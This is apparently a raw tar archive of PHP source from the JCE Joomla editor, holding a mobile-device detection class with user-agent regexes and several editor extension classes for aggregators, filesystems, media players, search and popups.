-A500|SPH-A560|SPH-A600|SPH-A620|SPH-A660|SPH-A700|SPH-A740|SPH-A760|SPH-A790|SPH-A800|SPH-A820|SPH-A840|SPH-A880|SPH-A900|SPH-A940|SPH-A960|SPH-D600|SPH-D700|SPH-D710|SPH-D720|SPH-I300|SPH-I325|SPH-I330|SPH-I350|SPH-I500|SPH-I600|SPH-I700|SPH-L700|SPH-M100|SPH-M220|SPH-M240|SPH-M300|SPH-M305|SPH-M320|SPH-M330|SPH-M350|SPH-M360|SPH-M370|SPH-M380|SPH-M510|SPH-M540|SPH-M550|SPH-M560|SPH-M570|SPH-M580|SPH-M610|SPH-M620|SPH-M630|SPH-M800|SPH-M810|SPH-M850|SPH-M900|SPH-M910|SPH-M920|SPH-M930|SPH-N100|SPH-N200|SPH-N240|SPH-N300|SPH-N400|SPH-Z400|SWC-E100', 'Sony' => 'E10i|SonyEricsson|SonyEricssonLT15iv', 'Asus' => 'Asus.*Galaxy', 'Palm' => 'PalmSource|Palm', // avantgo|blazer|elaine|hiptop|plucker|xiino ; @todo - complete the regex. 'Vertu' => 'Vertu|Vertu.*Ltd|Vertu.*Ascent|Vertu.*Ayxta|Vertu.*Constellation(F|Quest)?|Vertu.*Monika|Vertu.*Signature', // Just for fun ;) 'GenericPhone' => 'PDA;|PPC;|SAGEM|mmp|pocket|psp|symbian|Smartphone|smartfon|treo|up.browser|up.link|vodafone|wap|nokia|Series40|Series60|S60|SonyEricsson|N900|MAUI.*WAP.*Browser|LG-P500' ); // List of tablet devices. protected $tabletDevices = array( 'BlackBerryTablet' => 'PlayBook|RIM Tablet', 'iPad' => 'iPad|iPad.*Mobile', // @todo: check for mobile friendly emails topic. 'NexusTablet' => '^.*Android.*Nexus(?:(?!Mobile).)*$', // @reference: http://www.labnol.org/software/kindle-user-agent-string/20378/ 'Kindle' => 'Kindle|Silk.*Accelerated', 'SamsungTablet' => 'SAMSUNG.*Tablet|Galaxy.*Tab|GT-P1000|GT-P1010|GT-P6210|GT-P6800|GT-P6810|GT-P7100|GT-P7300|GT-P7310|GT-P7500|GT-P7510|SCH-I800|SCH-I815|SCH-I905|SGH-I957|SGH-I987|SGH-T849|SGH-T859|SGH-T869|SPH-P100|GT-P1000|GT-P3100|GT-P3110|GT-P5100|GT-P5110|GT-P6200|GT-P7300|GT-P7320|GT-P7500|GT-P7510|GT-P7511', 'HTCtablet' => 'HTC Flyer|HTC Jetstream|HTC-P715a|HTC EVO View 4G|PG41200', 'MotorolaTablet' => 'xoom|sholest|MZ615|MZ605|MZ505|MZ601|MZ602|MZ603|MZ604|MZ606|MZ607|MZ608|MZ609|MZ615|MZ616|MZ617', 'AsusTablet' => 'Transformer|TF101', 'NookTablet' => 'Android.*Nook|NookColor|nook browser|BNTV250A|LogicPD Zoom2', 'AcerTablet' => 'Android.*\b(A100|A101|A200|A500|A501|A510|W500|W500P|W501|W501P)\b', 'YarvikTablet' => 'Android.*(TAB210|TAB211|TAB224|TAB250|TAB260|TAB264|TAB310|TAB360|TAB364|TAB410|TAB411|TAB420|TAB424|TAB450|TAB460|TAB461|TAB464|TAB465|TAB467|TAB468)', 'MedionTablet' => 'Android.*\bOYO\b|LIFE.*(P9212|P9514|P9516|S9512)|LIFETAB', 'ArnovaTablet' => 'AN10G2|AN7bG3|AN7fG3|AN8G3|AN8cG3|AN7G3|AN9G3|AN7dG3|AN7dG3ST|AN7dG3ChildPad|AN10bG3|AN10bG3DT', // @reference: http://wiki.archosfans.com/index.php?title=Main_Page 'ArchosTablet' => 'Android.*ARCHOS|101G9|80G9', // @reference: http://en.wikipedia.org/wiki/NOVO7 'AinolTablet' => 'NOVO7|Novo7Aurora|Novo7Basic|NOVO7PALADIN', // @todo: inspect http://esupport.sony.com/US/p/select-system.pl?DIRECTOR=DRIVER 'SonyTablet' => 'Sony Tablet|Sony Tablet S', 'GenericTablet' => 'Tablet(?!.*PC)|ViewPad7|LG-V909|MID7015|BNTV250A|LogicPD Zoom2|\bA7EB\b|CatNova8|A1_07|CT704|CT1002|\bM721\b|hp-tablet', ); // List of mobile Operating Systems. protected $operatingSystems = array( 'AndroidOS' => 'Android', 'BlackBerryOS' => 'blackberry|rim tablet os', 'PalmOS' => 'PalmOS|avantgo|blazer|elaine|hiptop|palm|plucker|xiino', 'SymbianOS' => 'Symbian|SymbOS|Series60|Series40|SYB-[0-9]+|\bS60\b', // @reference: http://en.wikipedia.org/wiki/Windows_Mobile 'WindowsMobileOS' => 'Windows CE.*(PPC|Smartphone|Mobile|[0-9]{3}x[0-9]{3})|Window Mobile|Windows Phone [0-9.]+|WCE;', // @reference: http://en.wikipedia.org/wiki/Windows_Phone // http://wifeng.cn/?r=blog&a=view&id=106 // http://nicksnettravels.builttoroam.com/post/2011/01/10/Bogus-Windows-Phone-7-User-Agent-String.aspx 'WindowsPhoneOS' => 'Windows Phone OS|XBLWP7|ZuneWP7', 'iOS' => 'iphone|ipod|ipad', 'FlashLiteOS' => '', // http://en.wikipedia.org/wiki/MeeGo // @todo: research MeeGo in UAs 'MeeGoOS' => 'MeeGo', // http://en.wikipedia.org/wiki/Maemo // @todo: research Maemo in UAs 'MaemoOS' => 'Maemo', 'JavaOS' => 'J2ME/MIDP|Java/', 'webOS' => 'webOS|hpwOS', 'badaOS' => '\bBada\b', 'BREWOS' => 'BREW', ); // List of mobile User Agents. protected $userAgents = array( // https://developers.google.com/chrome/mobile/docs/user-agent 'Chrome' => '\bCrMo\b|Android.*Chrome/[.0-9]* (?!Mobile)|CriOS', 'Dolfin' => '\bDolfin\b', 'Opera' => 'Opera.*Mini|Opera.*Mobi|Android.*Opera', 'Skyfire' => 'Skyfire', 'IE' => 'IEMobile|MSIEMobile', 'Firefox' => 'fennec|firefox.*maemo|(Mobile|Tablet).*Firefox|Firefox.*Mobile', 'Bolt' => 'bolt', 'TeaShark' => 'teashark', 'Blazer' => 'Blazer', // @reference: http://developer.apple.com/library/safari/#documentation/AppleApplications/Reference/SafariWebContent/OptimizingforSafarioniPhone/OptimizingforSafarioniPhone.html#//apple_ref/doc/uid/TP40006517-SW3 'Safari' => 'Version.*Mobile.*Safari|Safari.*Mobile', 'Midori' => 'midori', 'Tizen' => 'Tizen', 'UCBrowser' => 'UC Browser|UCWEB', // @reference: http://en.wikipedia.org/wiki/Minimo // http://en.wikipedia.org/wiki/Vision_Mobile_Browser 'GenericBrowser' => 'NokiaBrowser|OviBrowser|SEMC.*Browser|FlyFlow|Minimo|NetFront|Novarra-Vision' ); // Utilities. protected $utilities = array( 'WebKit' => '(webkit)[ /]([\w.]+)', 'Bot' => 'Googlebot|DoCoMo|YandexBot|bingbot|ia_archiver|AhrefsBot|Ezooms|GSLFbot|WBSearchBot|Twitterbot|TweetmemeBot|Twikle|PaperLiBot|Wotbox|UnwindFetchor|facebookexternalhit', 'MobileBot' => 'Googlebot-Mobile|DoCoMo|YahooSeeker/M1A1-R2D2', ); // Properties list. // @reference: http://user-agent-string.info/list-of-ua#Mobile Browser const VER = '([\w._]+)'; protected $properties = array( // Build 'Mobile' => 'Mobile/[VER]', 'Build' => 'Build/[VER]', 'Version' => 'Version/[VER]', 'VendorID' => 'VendorID/[VER]', // Devices 'iPad' => 'iPad.*CPU[a-z ]+[VER]', 'iPhone' => 'iPhone.*CPU[a-z ]+[VER]', 'iPod' => 'iPod.*CPU[a-z ]+[VER]', //'BlackBerry' => array('BlackBerry[VER]', 'BlackBerry [VER];'), 'Kindle' => 'Kindle/[VER]', // Browser 'Chrome' => 'Chrome/[VER]', 'CriOS' => 'CriOS/[VER]', 'Dolfin' => 'Dolfin/[VER]', // @reference: https://developer.mozilla.org/en-US/docs/User_Agent_Strings_Reference 'Firefox' => 'Firefox/[VER]', 'Fennec' => 'Fennec/[VER]', // @reference: http://msdn.microsoft.com/en-us/library/ms537503(v=vs.85).aspx 'IEMobile' => array('IEMobile/[VER];', 'IEMobile [VER]'), 'MSIE' => 'MSIE [VER];', // http://en.wikipedia.org/wiki/NetFront 'NetFront' => 'NetFront/[VER]', 'NokiaBrowser' => 'NokiaBrowser/[VER]', 'NokiaBrowser' => 'NokiaBrowser/[VER]', 'Opera' => 'Version/[VER]', 'Opera Mini' => 'Opera Mini/[VER]', 'Opera Mobi' => 'Version/[VER]', 'UC Browser' => 'UC Browser[VER]', 'Safari' => 'Version/[VER]', 'Skyfire' => 'Skyfire/[VER]', 'Tizen' => 'Tizen/[VER]', 'Webkit' => 'webkit[ /][VER]', // Engine 'Gecko' => 'Gecko/[VER]', 'Trident' => 'Trident/[VER]', 'Presto' => 'Presto/[VER]', // OS 'Android' => 'Android [VER]', 'BlackBerry' => array('BlackBerry[\w]+/[VER]', 'BlackBerry.*Version/[VER]'), 'BREW' => 'BREW [VER]', 'Java' => 'Java/[VER]', // @reference: http://windowsteamblog.com/windows_phone/b/wpdev/archive/2011/08/29/introducing-the-ie9-on-windows-phone-mango-user-agent-string.aspx // @reference: http://en.wikipedia.org/wiki/Windows_NT#Releases 'Windows Phone OS' => 'Windows Phone OS [VER]', 'Windows Phone' => 'Windows Phone [VER]', 'Windows CE' => 'Windows CE/[VER]', // http://social.msdn.microsoft.com/Forums/en-US/windowsdeveloperpreviewgeneral/thread/6be392da-4d2f-41b4-8354-8dcee20c85cd 'Windows NT' => 'Windows NT [VER]', 'Symbian' => array('SymbianOS/[VER]', 'Symbian/[VER]'), 'webOS' => array('webOS/[VER]', 'hpwOS/[VER];'), ); function __construct(){ $this->setHttpHeaders(); $this->setUserAgent(); $this->setMobileDetectionRules(); $this->setMobileDetectionRulesExtended(); } public function setHttpHeaders($httpHeaders = null){ if(!empty($httpHeaders)){ $this->httpHeaders = $httpHeaders; } else { foreach($_SERVER as $key => $value){ if(substr($key,0,5)=='HTTP_'){ $this->httpHeaders[$key] = $value; } } } } public function setUserAgent($userAgent = null){ if(!empty($userAgent)){ $this->userAgent = $userAgent; } else { $this->userAgent = isset($this->httpHeaders['HTTP_USER_AGENT']) ? $this->httpHeaders['HTTP_USER_AGENT'] : null; if(empty($this->userAgent)){ $this->userAgent = isset($this->httpHeaders['HTTP_X_DEVICE_USER_AGENT']) ? $this->httpHeaders['HTTP_X_DEVICE_USER_AGENT'] : null; } // Header can occur on devices using Opera Mini (can expose the real device type). Let's concatenate it (we need this extra info in the regexes). if(!empty($this->httpHeaders['HTTP_X_OPERAMINI_PHONE_UA'])){ $this->userAgent .= ' '.$this->httpHeaders['HTTP_X_OPERAMINI_PHONE_UA']; } } } function setDetectionType($type = null){ $this->detectionType = (!empty($type) ? $type : 'mobile'); } /** * Method sets the mobile detection rules. * * This method is used for the magic methods $detect->is*() */ public function setMobileDetectionRules(){ // Merge all rules together. $this->mobileDetectionRules = array_merge( $this->phoneDevices, $this->tabletDevices, $this->operatingSystems, $this->userAgents ); } /** * Method sets the mobile detection rules + utilities. * The reason this is separate is because utilities rules * don't necessary imply mobile. * * This method is used inside the new $detect->is('stuff') method. * * @return bool */ public function setMobileDetectionRulesExtended(){ // Merge all rules together. $this->mobileDetectionRulesExtended = array_merge( $this->phoneDevices, $this->tabletDevices, $this->operatingSystems, $this->userAgents, $this->utilities ); } /** * @return array */ public function getRules() { if($this->detectionType=='extended'){ return $this->mobileDetectionRulesExtended; } else { return $this->mobileDetectionRules; } } /** * Check the HTTP headers for signs of mobile. * This is the fastest mobile check possible; it's used * inside isMobile() method. * @return boolean */ public function checkHttpHeadersForMobile(){ if( isset($this->httpHeaders['HTTP_ACCEPT']) && (strpos($this->httpHeaders['HTTP_ACCEPT'], 'application/x-obml2d') !== false || // Opera Mini; @reference: http://dev.opera.com/articles/view/opera-binary-markup-language/ strpos($this->httpHeaders['HTTP_ACCEPT'], 'application/vnd.rim.html') !== false || // BlackBerry devices. strpos($this->httpHeaders['HTTP_ACCEPT'], 'text/vnd.wap.wml') !== false || strpos($this->httpHeaders['HTTP_ACCEPT'], 'application/vnd.wap.xhtml+xml') !== false) || isset($this->httpHeaders['HTTP_X_WAP_PROFILE']) || // @todo: validate isset($this->httpHeaders['HTTP_X_WAP_CLIENTID']) || isset($this->httpHeaders['HTTP_WAP_CONNECTION']) || isset($this->httpHeaders['HTTP_PROFILE']) || isset($this->httpHeaders['HTTP_X_OPERAMINI_PHONE_UA']) || // Reported by Nokia devices (eg. C3) isset($this->httpHeaders['HTTP_X_NOKIA_IPADDRESS']) || isset($this->httpHeaders['HTTP_X_NOKIA_GATEWAY_ID']) || isset($this->httpHeaders['HTTP_X_ORANGE_ID']) || isset($this->httpHeaders['HTTP_X_VODAFONE_3GPDPCONTEXT']) || isset($this->httpHeaders['HTTP_X_HUAWEI_USERID']) || isset($this->httpHeaders['HTTP_UA_OS']) || // Reported by Windows Smartphones. isset($this->httpHeaders['HTTP_X_MOBILE_GATEWAY']) || // Reported by Verizon, Vodafone proxy system. isset($this->httpHeaders['HTTP_X_ATT_DEVICEID']) || // Seend this on HTC Sensation. @ref: SensationXE_Beats_Z715e //HTTP_X_NETWORK_TYPE = WIFI ( isset($this->httpHeaders['HTTP_UA_CPU']) && $this->httpHeaders['HTTP_UA_CPU'] == 'ARM' // Seen this on a HTC. ) ){ return true; } return false; } /** * Magic overloading method. * * @method boolean is[...]() * @param string $name * @param array $arguments * @return mixed */ public function __call($name, $arguments) { $this->setDetectionType('mobile'); $key = substr($name, 2); return $this->matchUAAgainstKey($key); } /** * Find a detection rule that matches the current User-agent. * * @param null $userAgent deprecated * @return boolean */ private function matchDetectionRulesAgainstUA($userAgent = null){ // Begin general search. foreach($this->getRules() as $_regex){ if(empty($_regex)){ continue; } if( $this->match($_regex, $userAgent) ){ //var_dump( $_regex ); return true; } } return false; } /** * Search for a certain key in the rules array. * If the key is found the try to match the corresponding * regex agains the User-agent. * * @param string $key * @param null $userAgent deprecated * @return mixed */ private function matchUAAgainstKey($key, $userAgent = null){ // Make the keys lowercase so we can match: isIphone(), isiPhone(), isiphone(), etc. $key = strtolower($key); $_rules = array_change_key_case($this->getRules()); if(array_key_exists($key, $_rules)){ if(empty($_rules[$key])){ return null; } return $this->match($_rules[$key], $userAgent); } return false; } /** * Check if the device is mobile. * Returns true if any type of mobile device detected, including special ones * @param null $userAgent deprecated * @param null $httpHeaders deprecated * @return bool */ public function isMobile($userAgent = null, $httpHeaders = null) { if($httpHeaders){ $this->setHttpHeaders($httpHeaders); } if($userAgent){ $this->setUserAgent($userAgent); } $this->setDetectionType('mobile'); if ($this->checkHttpHeadersForMobile()) { return true; } else { return $this->matchDetectionRulesAgainstUA(); } } /** * Check if the device is a tablet. * Return true if any type of tablet device is detected. * * @param null $userAgent deprecated * @param null $httpHeaders deprecated * @return bool */ public function isTablet($userAgent = null, $httpHeaders = null) { $this->setDetectionType('mobile'); foreach($this->tabletDevices as $_regex){ if($this->match($_regex, $userAgent)){ return true; } } return false; } /** * This method checks for a certain property in the * userAgent. * @todo: The httpHeaders part is not yet used. * * @param $key * @param string $userAgent deprecated * @param string $httpHeaders deprecated * @return bool|int|null */ public function is($key, $userAgent = null, $httpHeaders = null){ // Set the UA and HTTP headers only if needed (eg. batch mode). if($httpHeaders) $this->setHttpHeaders($httpHeaders); if($userAgent) $this->setUserAgent($userAgent); $this->setDetectionType('extended'); return $this->matchUAAgainstKey($key); } public function getOperatingSystems(){ return $this->operatingSystems; } /** * Some detection rules are relative (not standard), * because of the diversity of devices, vendors and * their conventions in representing the User-Agent or * the HTTP headers. * * This method will be used to check custom regexes against * the User-Agent string. * * @param $regex * @param string $userAgent * @return bool * * @todo: search in the HTTP headers too. */ function match($regex, $userAgent=null){ // Escape the special character which is the delimiter. $regex = str_replace('/', '\/', $regex); return (bool)preg_match('/'.$regex.'/is', (!empty($userAgent) ? $userAgent : $this->userAgent)); } /** * Get the properties array. * @return array */ function getProperties(){ return $this->properties; } /** * Prepare the version number. * * @param $ver * @return int */ function prepareVersionNo($ver){ $ver = str_replace(array('_', ' ', '/'), array('.', '.', '.'), $ver); $arrVer = explode('.', $ver, 2); $arrVer[1] = @str_replace('.', '', $arrVer[1]); // @todo: treat strings versions. $ver = (float)implode('.', $arrVer); return $ver; } /** * Check the version of the given property in the User-Agent. * Will return a float number. (eg. 2_0 will return 2.0, 4.3.1 will return 4.31) * * @param string $propertyName * @return mixed $version */ function version($propertyName){ $properties = $this->getProperties(); // If the property is found in the User-Agent then move to the next step. if(stripos($this->userAgent, $propertyName)!==false){ // Prepare the pattern to be matched. // Make sure we always deal with an array (string is converted). $properties[$propertyName] = (array)$properties[$propertyName]; foreach($properties[$propertyName] as $propertyMatchString){ $propertyPattern = str_replace('[VER]', self::VER, $propertyMatchString); // Escape the special character which is the delimiter. $propertyPattern = str_replace('/', '\/', $propertyPattern); // Identify and extract the version. preg_match('/'.$propertyPattern.'/is', $this->userAgent, $match); if(!empty($match[1])){ $version = $this->prepareVersionNo($match[1]); return $version; } } return 0; } return false; } function mobileGrade(){ $isMobile = $this->isMobile(); if( // Apple iOS 3.2-5.1 - Tested on the original iPad (4.3 / 5.0), iPad 2 (4.3), iPad 3 (5.1), original iPhone (3.1), iPhone 3 (3.2), 3GS (4.3), 4 (4.3 / 5.0), and 4S (5.1) $this->version('iPad')>=4.3 || $this->version('iPhone')>=3.1 || $this->version('iPod')>=3.1 || // Android 2.1-2.3 - Tested on the HTC Incredible (2.2), original Droid (2.2), HTC Aria (2.1), Google Nexus S (2.3). Functional on 1.5 & 1.6 but performance may be sluggish, tested on Google G1 (1.5) // Android 3.1 (Honeycomb) - Tested on the Samsung Galaxy Tab 10.1 and Motorola XOOM // Android 4.0 (ICS) - Tested on a Galaxy Nexus. Note: transition performance can be poor on upgraded devices // Android 4.1 (Jelly Bean) - Tested on a Galaxy Nexus and Galaxy 7 ( $this->version('Android')>2.1 && $this->is('Webkit') ) || // Windows Phone 7-7.5 - Tested on the HTC Surround (7.0) HTC Trophy (7.5), LG-E900 (7.5), Nokia Lumia 800 $this->version('Windows Phone OS')>=7.0 || // Blackberry 7 - Tested on BlackBerry® Torch 9810 // Blackberry 6.0 - Tested on the Torch 9800 and Style 9670 $this->version('BlackBerry')>=6.0 || // Blackberry Playbook (1.0-2.0) - Tested on PlayBook $this->match('Playbook.*Tablet') || // Palm WebOS (1.4-2.0) - Tested on the Palm Pixi (1.4), Pre (1.4), Pre 2 (2.0) ( $this->version('webOS')>=1.4 && $this->match('Palm|Pre|Pixi') ) || // Palm WebOS 3.0 - Tested on HP TouchPad $this->match('hp.*TouchPad') || // Firefox Mobile (12 Beta) - Tested on Android 2.3 device ( $this->is('Firefox') && $this->version('Firefox')>=12 ) || // Chrome for Android - Tested on Android 4.0, 4.1 device ( $this->is('Chrome') && $this->is('AndroidOS') && $this->version('Android')>=4.0 ) || // Skyfire 4.1 - Tested on Android 2.3 device ( $this->is('Skyfire') && $this->version('Skyfire')>=4.1 && $this->is('AndroidOS') && $this->version('Android')>=2.3 ) || // Opera Mobile 11.5-12: Tested on Android 2.3 ( $this->is('Opera') && $this->version('Opera Mobi')>11 && $this->is('AndroidOS') ) || // Meego 1.2 - Tested on Nokia 950 and N9 $this->is('MeeGoOS') || // Tizen (pre-release) - Tested on early hardware $this->is('Tizen') || // Samsung Bada 2.0 - Tested on a Samsung Wave 3, Dolphin browser // @todo: more tests here! $this->is('Dolfin') && $this->version('Bada')>=2.0 || // UC Browser - Tested on Android 2.3 device ( ($this->is('UC Browser') || $this->is('Dolfin')) && $this->version('Android')>=2.3 ) || // Kindle 3 and Fire - Tested on the built-in WebKit browser for each ( $this->match('Kindle Fire') || $this->is('Kindle') && $this->version('Kindle')>=3.0 ) || // Nook Color 1.4.1 - Tested on original Nook Color, not Nook Tablet $this->is('AndroidOS') && $this->is('NookTablet') || // Chrome Desktop 11-21 - Tested on OS X 10.7 and Windows 7 $this->version('Chrome')>=11 && !$isMobile || // Safari Desktop 4-5 - Tested on OS X 10.7 and Windows 7 $this->version('Safari')>=5.0 && !$isMobile || // Firefox Desktop 4-13 - Tested on OS X 10.7 and Windows 7 $this->version('Firefox')>=4.0 && !$isMobile || // Internet Explorer 7-9 - Tested on Windows XP, Vista and 7 $this->version('MSIE')>=7.0 && !$isMobile || // Opera Desktop 10-12 - Tested on OS X 10.7 and Windows 7 // @reference: http://my.opera.com/community/openweb/idopera/ $this->version('Opera')>=10 && !$isMobile ){ return 'A'; } if( // Blackberry 5.0: Tested on the Storm 2 9550, Bold 9770 $this->version('BlackBerry')>=5 && $this->version('BlackBerry')<6 || //Opera Mini (5.0-6.5) - Tested on iOS 3.2/4.3 and Android 2.3 ( $this->version('Opera Mini')>=5.0 && $this->version('Opera Mini')<=6.5 && ($this->version('Android')>=2.3 || $this->is('iOS')) ) || // Nokia Symbian^3 - Tested on Nokia N8 (Symbian^3), C7 (Symbian^3), also works on N97 (Symbian^1) $this->match('NokiaN8|NokiaC7|N97.*Series60|Symbian/3') || // @todo: report this (tested on Nokia N71) $this->version('Opera Mobi')>=11 && $this->is('SymbianOS') ){ return 'B'; } if( // Blackberry 4.x - Tested on the Curve 8330 $this->version('BlackBerry')<5.0 || // Windows Mobile - Tested on the HTC Leo (WinMo 5.2) $this->match('MSIEMobile|Windows CE.*Mobile') || $this->version('Windows Mobile')<=5.2 ){ return 'C'; } // All older smartphone platforms and featurephones - Any device that doesn't support media queries will receive the basic, C grade experience return 'C'; } }com_jce/editor/libraries/classes/extensions/index.html000066600000000054150771500630017245 0ustar00com_jce/editor/libraries/classes/extensions/aggregator.php000066600000007734150771500630020117 0ustar00 $advlink =AdvLink::getInstance(); * * @access public * @return JCE The editor object. * @since 1.5 */ public static function getInstance($config = array()) { if (!isset(self::$instance)) { self::$instance = new WFAggregatorExtension($config); } return self::$instance; } public function getName() { return $this->get('name'); } public function getTitle() { return $this->get('title'); } public function display() { parent::display(); $document = WFDocument::getInstance(); // Load javascript $document->addScript(array('extensions/aggregator'), 'libraries'); $aggregators = $this->getAggregators(); foreach ($aggregators as $aggregator) { $aggregator->display(); $params = $aggregator->getParams(); if (!empty($params)) { $document->addScriptDeclaration('WFExtensions.Aggregator.setParams("' . $aggregator->getName() . '",' . json_encode($params) . ');'); } } } public function & getAggregators() { static $aggregators; if (!isset($aggregators)) { $aggregators = array(); } // get the aggregator format for this instance $format = $this->get('format'); if (empty($aggregators[$format])) { jimport('joomla.filesystem.folder'); // get a plugin instance $plugin = WFEditorPlugin::getInstance(); $aggregators[$format] = array(); $path = WF_EDITOR_EXTENSIONS . '/aggregator'; $files = JFolder::files($path, '\.php$', false, true); foreach ($files as $file) { require_once ($file); $name = basename($file, '.php'); $classname = 'WFAggregatorExtension_' . ucfirst($name); // only load if enabled if (class_exists($classname)) { $aggregator = new $classname(); // check if enabled if ($aggregator->isEnabled()) { if ($aggregator->get('format') == $format) { $aggregator->set('name', $name); $aggregator->set('title', 'WF_AGGREGATOR_' . strtoupper($name) . '_TITLE'); $aggregators[$format][] = $aggregator; } } } } } return $aggregators[$format]; } /** * * @param object $player * @return */ public function loadTemplate($name, $tpl = '') { $path = WF_EDITOR_EXTENSIONS . '/aggregator/' . $name; $output = ''; $file = 'default.php'; if ($tpl) { $file = 'default_' . $tpl . '.php'; } if (file_exists($path . '/tmpl/' . $file)) { ob_start(); include $path . '/tmpl/' . $file; $output .= ob_get_contents(); ob_end_clean(); } return $output; } } com_jce/editor/libraries/classes/extensions/filesystem.php000066600000017224150771500630020154 0ustar00setProperties(array_merge($config, array( 'local' => true, 'upload' => array( 'stream' => false, 'chunking' => false, 'unique_filenames' => false ) ))); } /** * Returns a reference to a plugin object * * This method must be invoked as: *
        $advlink =AdvLink::getInstance();
      * * @access public * @return JCE The editor object. * @since 1.5 */ public static function getInstance($type = 'joomla', $config = array()) { static $instance; if (!is_object($instance)) { $fs = parent::loadExtensions('filesystem', $type); $classname = 'WF' . ucfirst($fs) . 'FileSystem'; if (class_exists($classname)) { $instance = new $classname($config); } else { $instance = new WFFileSystem($config); } } return $instance; } /** * Get the base directory. * @return string base dir */ public function getBaseDir() { return WFUtility::makePath(JPATH_SITE, $this->getRootDir()); } /** * Get the full base url * @return string base url */ public function getBaseURL() { return WFUtility::makePath(JURI::root(true), $this->getRootDir()); } /** * Return the full user directory path. Create if required * * @param string The base path * @access public * @return Full path to folder */ public function getRootDir() { static $root; if (!isset($root)) { $user = JFactory::getUser(); $wf = WFEditor::getInstance(); $profile = $wf->getProfile(); // Get base directory as shared parameter $root = $this->get('dir', ''); // Remove whitespace $root = trim($root); if (!empty($root)) { // Convert slashes / Strip double slashes $root = preg_replace('/[\\\\]+/', '/', $root); // Remove first leading slash $root = ltrim($root, '/'); // Force default directory if base param starts with a variable or a . eg $id if (preg_match('/[\.\$]/', $root{0})) { $root = 'images'; } jimport('joomla.user.helper'); // Joomla! 1.6+ if (method_exists('JUserHelper', 'getUserGroups')) { $groups = JUserHelper::getUserGroups($user->id); // get the first group $group_id = array_shift(array_keys($groups)); // Joomla! 2.5? if (is_int($group_id)) { // usergroup table $group = JTable::getInstance('Usergroup'); $group->load($group_id); // usertype $usertype = $group->title; } else { $usertype = $group_id; } } else { $usertype = $user->usertype; } // Replace any path variables $pattern = array('/\$id/', '/\$username/', '/\$user(group|type)/', '/\$(group|profile)/', '/\$day/', '/\$month/', '/\$year/'); $replace = array($user->id, $user->username, $usertype, $profile->name, date('d'), date('m'), date('Y')); $root = preg_replace($pattern, $replace, $root); // split into path parts to preserve / $parts = explode('/', $root); $textcase = $wf->getParam('editor.websafe_textcase'); if (!empty($textcase)) { $textcase = array_shift($textcase); } // clean path parts $parts = WFUtility::makeSafe($parts, $wf->getParam('editor.websafe_mode', 'utf-8'), $wf->getParam('editor.websafe_allow_spaces', 0), $textcase); //join path parts $root = implode('/', $parts); } } return $root; } public function toAbsolute($path) { return $path; } public function toRelative($path) { return $path; } public function getFiles($path, $filter) { return array(); } public function getFolders($path, $filter) { return array(); } public function getSourceDir($path) { return $path; } public function isMatch($needle, $haystack) { return $needle == $haystack; } public function pathinfo($path) { return pathinfo($path); } public function delete($path) { return true; } public function createFolder($path, $new) { return true; } public function rename($src, $dest) { return true; } public function copy($src, $dest) { return true; } public function move($src, $dest) { return true; } public function getFolderDetails($path) { return array( 'properties' => array('modified' => '') ); } public function getFileDetails($path) { $data = array( 'properties' => array( 'size' => '', 'modified' => '' ) ); if (preg_match('#\.(jpg|jpeg|bmp|gif|tiff|png)#i', $path)) { $image = array( 'properties' => array( 'width' => 0, 'height' => 0, 'preview' => '' ) ); return array_merge_recursive($data, $image); } return $data; } public function getDimensions($path) { return array( 'width' => '', 'height' => '' ); } public function upload($method, $src, $dir, $name, $chunks = 0, $chunk = 0) { return true; } public function exists($path) { return true; } public function read($path) { return ''; } public function write($path, $content) { return true; } public function isLocal() { return $this->get('local') === true; } public function is_file($path) { return true; } public function is_dir($path) { return true; } } /** * Filesystem Error class */ final class WFFileSystemResult { /* * @var Object type eg: file / folder */ public $type = 'files'; /* * @boolean Result state */ public $state = false; /* * @int Error code */ public $code = null; /* * @var Error message */ public $message = null; /* * @var File / Folder path */ public $path = null; function __construct() { } }com_jce/editor/libraries/classes/extensions/mediaplayer.php000066600000007157150771500630020270 0ustar00 '', 'title' => '', 'params' => array() ); $config = array_merge($default, $config); parent::__construct($config); } /** * Returns a reference to a manager object * * This method must be invoked as: *
        $manager =MediaManager::getInstance();
      * * @access public * @return MediaManager The manager object. * @since 1.5 */ public static function getInstance($name = 'jceplayer') { if (!isset(self::$instance)) { $classname = ''; if ($name && $name != 'none') { $player = parent::loadExtensions('mediaplayer', $name); $classname = 'WFMediaPlayerExtension_' . ucfirst($player); } if ($classname && class_exists($classname)) { self::$instance = new $classname(); } else { self::$instance = new WFMediaPlayerExtension(); } } return self::$instance; } public function display() { parent::display(); $document = WFDocument::getInstance(); // Load javascript $document->addScript(array( 'extensions/mediaplayer' ), 'libraries'); if ($this->isEnabled() && $this->get('name')) { $document->addScript(array( 'mediaplayer/' . $this->get('name') . '/js/' . $this->get('name') ), 'extensions'); $document->addStyleSheet(array( 'mediaplayer/' . $this->get('name') . '/css/' . $this->get('name') ), 'extensions'); $document->addScriptDeclaration('WFExtensions.MediaPlayer.init(' . json_encode($this->getProperties()) . ')'); } } public function isEnabled() { return false; } public function getName() { return $this->get('name'); } public function getTitle() { return $this->get('title'); } public function getParams() { return $this->params; } public function getParam($param, $default = '') { $params = $this->getParams(); return isset($params[$param]) ? $params[$param] : $default; } /** * * @param object $player * @return */ public function loadTemplate($tpl = '') { $output = ''; if ($this->isEnabled()) { $path = WF_EDITOR_EXTENSIONS . '/mediaplayer/' . $this->get('name'); $file = 'default.php'; if ($tpl) { $file = 'default_' . $tpl . '.php'; } if (file_exists($path . '/tmpl/' . $file)) { ob_start(); include $path . '/tmpl/' . $file; $output .= ob_get_contents(); ob_end_clean(); } } return $output; } } ?>com_jce/editor/libraries/classes/extensions/search.php000066600000003602150771500630017230 0ustar00 $advlink =AdvLink::getInstance(); * * @access public * @return JCE The editor object. * @since 1.5 */ public function getInstance($type, $config = array()) { if (!isset(self::$instances)) { self::$instances = array(); } if (empty(self::$instances[$type])) { require_once(WF_EDITOR . '/extensions/search/' . $type . '.php'); $classname = 'WF' . ucfirst($type) . 'SearchExtension'; if (class_exists($classname)) { self::$instances[$type] = new $classname($config); } else { self::$instances[$type] = new WFSearchExtension(); } } return self::$instances[$type]; } public function display() { parent::display(); } public function getView($layout) { return parent::getView(array('name' => 'search', 'layout' => $layout)); } }com_jce/editor/libraries/classes/extensions/popups.php000066600000011767150771500630017324 0ustar00setProperties($config); } /** * Returns a reference to a plugin object * * This method must be invoked as: *
        $advlink =AdvLink::getInstance();
